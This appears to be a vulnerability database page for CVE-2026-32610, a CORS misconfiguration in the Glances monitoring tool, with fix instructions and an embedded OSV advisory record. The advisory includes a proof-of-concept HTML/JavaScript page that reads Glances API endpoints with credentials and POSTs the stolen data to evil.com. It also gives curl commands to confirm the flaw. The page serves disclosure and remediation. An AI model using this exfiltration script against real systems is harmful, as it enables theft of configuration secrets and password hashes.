CVE-2026-32610: Glances Glances's Default CORS Configuration Allows Vulnerability
HIGHCVE-2026-32610 is a HIGH (CVSS 8.1) glances's default cors configuration allows vulnerability (CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains) affecting Glances libraries in the PyPI ecosystem. The issue involves glances's default cors configuration allows cross-origin credential theft. Remediation is available by upgrading affected packages to version 4.5.2.
CVE-2026-32610 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-32610
To remediate this vulnerability, upgrade all affected Glances dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install Glances>=4.5.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show Glances
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-32610, inspect your installed packages using pip:
pip show Glances
Analyze the terminal output to locate any version of Glances in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.2), your application is affected.
Note: The pip show Glances command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains, where the product uses a web-client protection mechanism such as a content security policy (csp) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate. In Glances, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-32610 Affected Glances Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
Glances
|
PyPI |
< 4.5.2
|
4.5.2
|
References
Frequently Asked Questions
What is CVE-2026-32610?
Which Glances versions are affected?
What version fixes CVE-2026-32610?
Is Glances affected?
What is the CVSS score of CVE-2026-32610?
What CWE is associated with CVE-2026-32610?
How can I check PyPI dependencies for CVE-2026-32610?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9jfm-9rc6-2hfq",
"modified" : "2026-03-18T21:48:24Z",
"published" : "2026-03-16T16:32:22Z",
"aliases" : [ "CVE-2026-32610" ],
"summary" : "Glances's Default CORS Configuration Allows Cross-Origin Credential Theft",
"details" : "## Summary\n\nThe Glances REST API web server ships with a default CORS configuration that sets `allow_origins=[\"*\"]` combined with `allow_credentials=True`. When both of these options are enabled together, Starlette's `CORSMiddleware` reflects the requesting `Origin` header value in the `Access-Control-Allow-Origin` response header instead of returning the literal `*` wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.\n\n## Details\n\nThe CORS configuration is set up in `glances/outputs/glances_restful_api.py` lines 290-299:\n\n```python\n# glances/outputs/glances_restful_api.py:290-299\n# FastAPI Enable CORS\n# https://fastapi.tiangolo.com/tutorial/cors/\nself._app.add_middleware(\n CORSMiddleware,\n # Related to https://github.com/nicolargo/glances/issues/2812\n allow_origins=config.get_list_value('outputs', 'cors_origins', default=[\"*\"]),\n allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),\n allow_methods=config.get_list_value('outputs', 'cors_methods', default=[\"*\"]),\n allow_headers=config.get_list_value('outputs', 'cors_headers', default=[\"*\"]),\n)\n```\n\nThe defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are:\n- `cors_origins = [\"*\"]` (all origins)\n- `cors_credentials = True` (allow credentials)\n\nPer the CORS specification, browsers should not send credentials when `Access-Control-Allow-Origin: *`. However, Starlette's `CORSMiddleware` implements a workaround: when `allow_origins=[\"*\"]` and `allow_credentials=True`, the middleware reflects the requesting origin in the response header instead of using `*`. This means:\n\n1. Attacker hosts `https://evil.com/steal.html`\n2. Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page\n3. JavaScript on `evil.com` makes `fetch(\"http://glances-server:61208/api/4/config\", {credentials: \"include\"})`\n4. The browser sends the stored Basic Auth credentials\n5. Starlette responds with `Access-Control-Allow-Origin: https://evil.com` and `Access-Control-Allow-Credentials: true`\n6. The browser allows JavaScript to read the response\n7. Attacker exfiltrates the configuration including sensitive data\n\nWhen Glances is running **without** `--password` (the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.\n\n## PoC\n\n**Step 1: Attacker hosts a malicious page.**\n\n```html\n<!-- steal-glances.html hosted on attacker's server -->\n<script>\nasync function steal() {\n const target = \"http://glances-server:61208\";\n \n // Steal system stats (processes, CPU, memory, network, disk)\n const all = await fetch(target + \"/api/4/all\", {credentials: \"include\"});\n const allData = await all.json();\n \n // Steal configuration (may contain database passwords, API keys)\n const config = await fetch(target + \"/api/4/config\", {credentials: \"include\"});\n const configData = await config.json();\n \n // Steal command line args (contains password hash, SNMP creds)\n const args = await fetch(target + \"/api/4/args\", {credentials: \"include\"});\n const argsData = await args.json();\n \n // Exfiltrate to attacker\n fetch(\"https://evil.com/collect\", {\n method: \"POST\",\n body: JSON.stringify({all: allData, config: configData, args: argsData})\n });\n}\nsteal();\n</script>\n```\n\n**Step 2: Verify CORS headers (without auth, default Glances).**\n\n```bash\n# Start Glances web server (default, no password)\nglances -w\n\n# From a different origin, verify the CORS headers\ncurl -s -D- -o /dev/null \\\n -H \"Origin: https://evil.com\" \\\n http://localhost:61208/api/4/all\n\n# Expected response headers include:\n# Access-Control-Allow-Origin: https://evil.com\n# Access-Control-Allow-Credentials: true\n```\n\n**Step 3: Verify data theft (without auth).**\n\n```bash\ncurl -s http://localhost:61208/api/4/all | python -m json.tool | head -20\ncurl -s http://localhost:61208/api/4/config | python -m json.tool\ncurl -s http://localhost:61208/api/4/args | python -m json.tool\n```\n\n**Step 4: With authentication enabled, verify CORS still allows cross-origin credentialed requests.**\n\n```bash\n# Start Glances with password\nglances -w --password\n\n# Preflight request with credentials\ncurl -s -D- -o /dev/null \\\n -X OPTIONS \\\n -H \"Origin: https://evil.com\" \\\n -H \"Access-Control-Request-Method: GET\" \\\n -H \"Access-Control-Request-Headers: Authorization\" \\\n http://localhost:61208/api/4/all\n\n# Expected: Access-Control-Allow-Origin: https://evil.com\n# Expected: Access-Control-Allow-Credentials: true\n```\n\n## Impact\n\n- **Without `--password` (default):** Any website visited by a user on the same network can silently read all Glances API endpoints, including complete system monitoring data (process list with command lines, CPU/memory/disk stats, network interfaces and IP addresses, filesystem mounts, Docker container info), configuration file contents (which may contain database passwords, export backend credentials, API keys), and command line arguments.\n\n- **With `--password`:** If the user has previously authenticated via the browser's Basic Auth dialog (which caches credentials), any website can make cross-origin requests that carry those cached credentials. This allows exfiltration of all the above data plus the password hash itself (via `/api/4/args`).\n\n- **Network reconnaissance:** An attacker can use this to map internal network infrastructure by having victims visit a page that probes common Glances ports (61208) on internal IPs.\n\n- **Chained with POST endpoints:** The CORS policy also allows `POST` methods, enabling an attacker to clear event logs (`/api/4/events/clear/all`) or modify process monitoring (`/api/4/processes/extended/{pid}`).\n\n## Recommended Fix\n\nChange the default CORS credentials setting to `False`, and when credentials are enabled, require explicit origin configuration instead of wildcard:\n\n```python\n# glances/outputs/glances_restful_api.py\n\n# Option 1: Change default to not allow credentials with wildcard origins\ncors_origins = config.get_list_value('outputs', 'cors_origins', default=[\"*\"])\ncors_credentials = config.get_bool_value('outputs', 'cors_credentials', default=False) # Changed from True\n\n# Option 2: Reject the insecure combination at startup\nif cors_origins == [\"*\"] and cors_credentials:\n logger.warning(\n \"CORS: allow_origins='*' with allow_credentials=True is insecure. \"\n \"Setting allow_credentials to False. Configure specific origins to enable credentials.\"\n )\n cors_credentials = False\n\nself._app.add_middleware(\n CORSMiddleware,\n allow_origins=cors_origins,\n allow_credentials=cors_credentials,\n allow_methods=config.get_list_value('outputs', 'cors_methods', default=[\"GET\"]), # Also restrict methods\n allow_headers=config.get_list_value('outputs', 'cors_headers', default=[\"*\"]),\n)\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "Glances"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.5.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nicolargo/glances/security/advisories/GHSA-9jfm-9rc6-2hfq"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32610"
}, {
"type" : "WEB",
"url" : "https://github.com/nicolargo/glances/commit/4465169b71d93991f1e49740fe02428291099832"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nicolargo/glances"
}, {
"type" : "WEB",
"url" : "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-942" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-16T16:32:22Z",
"nvd_published_at" : "2026-03-18T17:16:06Z"
}
}